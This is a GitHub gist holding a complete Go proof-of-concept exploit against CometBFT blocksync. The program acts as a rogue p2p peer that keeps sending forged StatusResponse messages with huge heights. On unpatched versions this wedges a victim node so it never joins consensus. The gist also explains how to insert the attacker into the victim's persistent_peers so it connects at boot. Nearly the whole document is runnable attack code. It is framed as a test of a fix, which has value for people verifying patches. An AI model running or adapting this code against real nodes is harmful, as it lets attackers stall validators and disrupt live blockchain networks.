Last active
April 21, 2026 17:16
-
-
Save reecepbcups/e646809d0d8bc2c1656eca3965beb19f to your computer and use it in GitHub Desktop.
ICL said it's not an issue so...
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Package main — e2e PoC for fix-blocksync-maxpeerheight-poisoning. | |
| // | |
| // ref: https://x.com/p6rkdoye0n/status/2046563261014012215 | |
| // | |
| // Spins up a minimal CometBFT p2p peer that dials a victim node and sends a | |
| // forged blocksync StatusResponse{Base, Height} with wildly inflated values. | |
| // | |
| // Against unpatched code (pre 08ce2493e2), victim's BlockPool.maxPeerHeight | |
| // is bumped to the attacker's forged height. IsCaughtUp never returns true, | |
| // so the node stays wedged in blocksync and never transitions to consensus. | |
| // | |
| // Against the patched code, the attacker is kept as a peer but its inflated | |
| // base/height is ignored by updateMaxPeerHeight. Victim joins consensus as | |
| // expected. | |
| // | |
| // Run against a local chain (Cosmos-SDK or otherwise), using the node_id of | |
| // your victim and its chain-id: | |
| // | |
| // go run ./poc-maxheight-attack \ | |
| // -target <NODE_ID>@127.0.0.1:26656 \ | |
| // -chain-id my-local-chain | |
| // | |
| // Get NODE_ID with: `cometbft show-node-id --home ~/.<appd>/` | |
| // Or with an appd built against this cometbft: `<appd> comet show-node-id`. | |
| // | |
| // By default the attacker persists its node key to ./attacker-node-key.json so | |
| // its node_id is stable across runs. This lets you pre-wire the attacker into | |
| // the victim's persistent_peers so it connects AT BOOT, winning the race | |
| // against legit peers during blocksync. Two-step demo: | |
| // | |
| // 1. go run ./poc-maxheight-attack -print-peer-string -listen 0.0.0.0:36656 | |
| // -> prints "<ATTACKER_ID>@127.0.0.1:36656" and exits | |
| // 2. put that in the victim's persistent_peers, start victim, then run the | |
| // attacker normally with -target <VICTIM_ID>@... | |
| // | |
| // Observation: | |
| // - Unpatched victim: logs keep printing "Not caught up" / "height: N, maxPeerHeight: 1e18" indefinitely. | |
| // - Patched victim: logs show maxPeerHeight tracking legit peers only; node enters consensus. | |
| package main | |
| import ( | |
| "flag" | |
| "fmt" | |
| "log" | |
| "os" | |
| "os/signal" | |
| "strings" | |
| "syscall" | |
| "time" | |
| bcproto "github.com/cometbft/cometbft/api/cometbft/blocksync/v1" | |
| cfg "github.com/cometbft/cometbft/config" | |
| cmtlog "github.com/cometbft/cometbft/libs/log" | |
| "github.com/cometbft/cometbft/p2p" | |
| "github.com/cometbft/cometbft/p2p/conn" | |
| "github.com/cometbft/cometbft/version" | |
| ) | |
| // Blocksync channel byte — matches internal/blocksync.BlocksyncChannel. | |
| const blocksyncChannel = byte(0x40) | |
| // AttackReactor pretends to speak blocksync but only ever sends a single | |
| // forged StatusResponse. Everything received from the victim is ignored. | |
| type AttackReactor struct { | |
| p2p.BaseReactor | |
| base int64 | |
| height int64 | |
| } | |
| func NewAttackReactor(base, height int64) *AttackReactor { | |
| r := &AttackReactor{base: base, height: height} | |
| r.BaseReactor = *p2p.NewBaseReactor("Attack", r) | |
| return r | |
| } | |
| func (*AttackReactor) GetChannels() []*conn.ChannelDescriptor { | |
| return []*conn.ChannelDescriptor{{ | |
| ID: blocksyncChannel, | |
| Priority: 5, | |
| SendQueueCapacity: 1000, | |
| RecvBufferCapacity: 50 * 4096, | |
| RecvMessageCapacity: 1024 * 1024, | |
| MessageType: &bcproto.Message{}, | |
| }} | |
| } | |
| // AddPeer fires the moment the victim finishes handshake with us. | |
| // That's our window: shove the forged StatusResponse in immediately. | |
| func (r *AttackReactor) AddPeer(peer p2p.Peer) { | |
| r.Logger.Info("victim connected — sending poisoned StatusResponse", | |
| "peer", peer.ID(), "base", r.base, "height", r.height) | |
| send := func() { | |
| ok := peer.Send(p2p.Envelope{ | |
| ChannelID: blocksyncChannel, | |
| Message: &bcproto.StatusResponse{Base: r.base, Height: r.height}, | |
| }) | |
| if !ok { | |
| r.Logger.Info("send returned false — channel full or peer gone") | |
| } | |
| } | |
| send() | |
| // Victim asks for status every ~10s. Re-send so we always win the race. | |
| go func() { | |
| t := time.NewTicker(5 * time.Second) | |
| defer t.Stop() | |
| for range t.C { | |
| if !peer.IsRunning() { | |
| return | |
| } | |
| send() | |
| } | |
| }() | |
| } | |
| // Receive: victim sent us something (probably its real StatusResponse on | |
| // AddPeer, or a StatusRequest, or a BlockRequest if our base/height happen | |
| // to cover a wanted height). Drop everything; we're not a real peer. | |
| func (r *AttackReactor) Receive(e p2p.Envelope) { | |
| r.Logger.Debug("ignoring victim msg", "type", fmt.Sprintf("%T", e.Message)) | |
| } | |
| func main() { | |
| var ( | |
| target = flag.String("target", "", "victim p2p address: <node_id>@<host>:<port> (required unless -print-peer-string)") | |
| chainID = flag.String("chain-id", "", "victim chain-id / network (required unless -print-peer-string, must match exactly)") | |
| listen = flag.String("listen", "0.0.0.0:36656", "attacker listen addr (must be reachable or at least bindable)") | |
| advertiseHost = flag.String("advertise-host", "127.0.0.1", "host to print in -print-peer-string output (victim uses this to dial us)") | |
| keyFile = flag.String("key-file", "./attacker-node-key.json", "path to persist attacker node key (stable node_id across runs)") | |
| baseFlag = flag.Int64("base", 1_000_000_000_000_000_000, "forged base height") | |
| heightArg = flag.Int64("height", 1_000_000_000_000_000_000, "forged tip height") | |
| debug = flag.Bool("debug", false, "verbose logging") | |
| printPeerString = flag.Bool("print-peer-string", false, "load/create node key, print <node_id>@<advertise-host>:<port>, then exit — useful to wire into victim persistent_peers") | |
| ) | |
| flag.Parse() | |
| logger := cmtlog.NewTMLogger(cmtlog.NewSyncWriter(os.Stderr)) | |
| if !*debug { | |
| logger = cmtlog.NewFilter(logger, cmtlog.AllowInfo()) | |
| } | |
| // --- identity (persistent so victim persistent_peers stays valid across runs) --- | |
| nodeKey, err := p2p.LoadOrGenNodeKey(*keyFile) | |
| if err != nil { | |
| log.Fatalf("load/gen node key %q: %v", *keyFile, err) | |
| } | |
| if *printPeerString { | |
| // Extract port from listen ("0.0.0.0:36656" -> "36656"). | |
| port := *listen | |
| if i := strings.LastIndex(port, ":"); i >= 0 { | |
| port = port[i+1:] | |
| } | |
| fmt.Printf("%s@%s:%s\n", nodeKey.ID(), *advertiseHost, port) | |
| return | |
| } | |
| if *chainID == "" { | |
| flag.Usage() | |
| log.Fatal("missing required flag: -chain-id") | |
| } | |
| nodeInfo := p2p.DefaultNodeInfo{ | |
| ProtocolVersion: p2p.NewProtocolVersion(version.P2PProtocol, version.BlockProtocol, 0), | |
| DefaultNodeID: nodeKey.ID(), | |
| ListenAddr: *listen, | |
| Network: *chainID, | |
| Version: version.CMTSemVer, | |
| Channels: []byte{blocksyncChannel}, | |
| Moniker: "maxheight-attacker", | |
| Other: p2p.DefaultNodeInfoOther{ | |
| TxIndex: "off", | |
| RPCAddress: "", | |
| }, | |
| } | |
| // --- transport + switch --- | |
| p2pCfg := cfg.DefaultP2PConfig() | |
| p2pCfg.ListenAddress = "tcp://" + *listen | |
| p2pCfg.AllowDuplicateIP = true | |
| p2pCfg.AddrBookStrict = false | |
| p2pCfg.PexReactor = false | |
| transport := p2p.NewMultiplexTransport(nodeInfo, *nodeKey, p2p.MConnConfig(p2pCfg)) | |
| selfAddr, err := p2p.NewNetAddressString(p2p.IDAddressString(nodeKey.ID(), *listen)) | |
| if err != nil { | |
| log.Fatalf("parse listen addr: %v", err) | |
| } | |
| if err := transport.Listen(*selfAddr); err != nil { | |
| log.Fatalf("transport listen: %v", err) | |
| } | |
| reactor := NewAttackReactor(*baseFlag, *heightArg) | |
| reactor.SetLogger(logger) | |
| sw := p2p.NewSwitch(p2pCfg, transport) | |
| sw.SetLogger(logger) | |
| sw.SetNodeKey(nodeKey) | |
| sw.SetNodeInfo(nodeInfo) | |
| sw.AddReactor("ATTACK", reactor) | |
| if err := sw.Start(); err != nil { | |
| log.Fatalf("switch start: %v", err) | |
| } | |
| logger.Info("attacker ready", | |
| "attacker_id", nodeKey.ID(), | |
| "listen", *listen, | |
| "target", *target, | |
| "forged_base", *baseFlag, | |
| "forged_height", *heightArg, | |
| "network", *chainID, | |
| ) | |
| // If -target is set, keep dialing it. Otherwise run inbound-only: victim | |
| // dials us (because we're in their persistent_peers) and AddPeer fires. | |
| if *target != "" { | |
| victimAddr, err := p2p.NewNetAddressString(*target) | |
| if err != nil { | |
| log.Fatalf("parse target: %v", err) | |
| } | |
| go func() { | |
| for { | |
| if err := sw.DialPeerWithAddress(victimAddr); err != nil { | |
| logger.Info("dial failed", "err", err) | |
| time.Sleep(3 * time.Second) | |
| continue | |
| } | |
| for { | |
| time.Sleep(2 * time.Second) | |
| if sw.Peers().Size() == 0 { | |
| logger.Info("victim dropped us, redialing") | |
| break | |
| } | |
| } | |
| } | |
| }() | |
| } else { | |
| logger.Info("inbound-only mode — waiting for victim to dial us") | |
| } | |
| sigs := make(chan os.Signal, 1) | |
| signal.Notify(sigs, syscall.SIGINT, syscall.SIGTERM) | |
| <-sigs | |
| logger.Info("shutting down") | |
| _ = sw.Stop() | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment